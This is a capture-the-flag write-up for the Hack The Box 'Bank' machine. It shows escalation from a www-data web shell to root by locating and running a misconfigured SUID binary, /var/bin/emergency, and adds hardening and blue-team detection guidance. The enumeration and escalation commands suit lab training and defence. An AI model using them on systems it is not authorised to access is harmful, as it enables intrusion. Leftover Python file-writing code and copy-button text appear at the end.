Security article
Hack The Box - Bank Root Flag
Hack The Box - Bank Root Flag: Gain root on the target by leveraging local privilege escalation. Document the minimal steps, verification, and hardening guidance. • HackTheBox • dirbuster, enumeration
🎯 Objective
Gain root on the target by leveraging local privilege escalation. Document the minimal steps, verification, and hardening guidance.
🧩 Environment & Context
- Target: Linux (HTB box)
- Initial Access:
www-dataweb shell - Temp workspace:
/dev/shm/(in‑memory, writable, often less noisy) - Tools tried:
linux_privesc.py(enumeration), manual SUID hunt
📝 Executive Summary
An SUID program at /var/bin/emergency was identified with setuid root. Executing it yielded an effective UID of 0, allowing immediate root. No exploitation beyond discovery and execution was required.
🔎 Recon & Enumeration
1) Stage helper to temp and attempt scripted enum
I first moved to the shared memory tmp and uploaded a standard Linux privilege-escalation helper:
cd /dev/shm
# (transfer via wget/scp/curl/echo as convenient)
python ./linux_privesc.py
Screenshot – helper staged in /dev/shm:
2) Interpreter/env issues encountered
Attempts to run the helper hit interpreter/environment hurdles, so I switched to a manual sweep for classic misconfigs:
Screenshot – interpreter/env issue:
🚀 Exploitation (Manual SUID Hunt)
3) Find SUID binaries
Use find to enumerate all SUID (04000) files, suppressing permission errors:
bash
Always show details
Copy code
find / -perm -4000 2>/dev/null
Tip: -perm -4000 matches files with the SUID bit set. 2>/dev/null hides STDERR noise from unreadable paths.
Among the results, /var/bin/emergency stood out.
Screenshot – path of interest discovered:
4) Validate SUID and execute
Inspect and run the binary:
bash
Always show details
Copy code
ls -l /var/bin/emergency
# -rwsr-xr-x 1 root root ... /var/bin/emergency <-- 's' in owner exec = SUID
/var/bin/emergency
id
whoami
Expected result (observed):
id → shows euid=0(root)
whoami → root
Screenshot – effective root confirmed:
At this point, full root capabilities were available.
✅ Proof / Verification
bash
Always show details
Copy code
/var/bin/emergency
id # uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
whoami # root
🧠 Root Cause Analysis
Misconfiguration: World‑executable SUID root helper left on the system at /var/bin/emergency.
Impact: Any local unprivileged user can elevate to root by simply executing it.
Likelihood: High (ubiquitous check; trivial to find with find / -perm -4000).
🛡️ Hardening & Mitigations
Remove or restrict SUID on non‑essential binaries:
bash
Always show details
Copy code
chmod u-s /var/bin/emergency
# or remove the binary if it’s not required
rm -f /var/bin/emergency
Least privilege: Replace SUID helpers with fine‑grained privilege (e.g., sudo rules with NOPASSWD for specific subcommands, or capabilities on a tightly‑scoped binary).
File integrity monitoring: Deploy FIM (AIDE, Wazuh, osquery) to alert on new SUID files.
Audit for SUID regularly:
bash
Always show details
Copy code
find / -xdev -type f -perm -4000 -print 2>/dev/null
AppArmor/SELinux: Constrain what helper binaries can execute/do.
🧪 Detection Ideas (Blue Team)
SIEM rule for process executions of unexpected SUID binaries from non‑standard paths (e.g., /var/bin/*).
Baseline SUID inventory; alert on drift.
Alert on chmod u+s events or package integrity changes.
🧰 Commands Cheat‑Sheet
bash
Always show details
Copy code
# SUID sweep
find / -perm -4000 2>/dev/null
# Inspect a candidate
ls -l /path/to/binary
file /path/to/binary
strings -n 8 /path/to/binary | less
# Execute & verify
/path/to/binary
id && whoami
🖼️ Screenshots (as provided)
Helper staged in /dev/shm
Interpreter/env issue & SUID path view
Root confirmation
📚 References
GTFOBins — SUID abuses: https://gtfobins.github.io/ (search target binary or alternatives)
Linux SUID basics (manpages): man 1 find, man 7 capabilities, man 2 setuid
✅ Outcome
Root obtained via /var/bin/emergency SUID. Documented steps and hardening recommendations included.
"""
path = "/mnt/data/HTB_SUID_Emergency_PrivEsc_ENHANCED.md"
with open(path, "w", encoding="utf-8") as f:
f.write(content)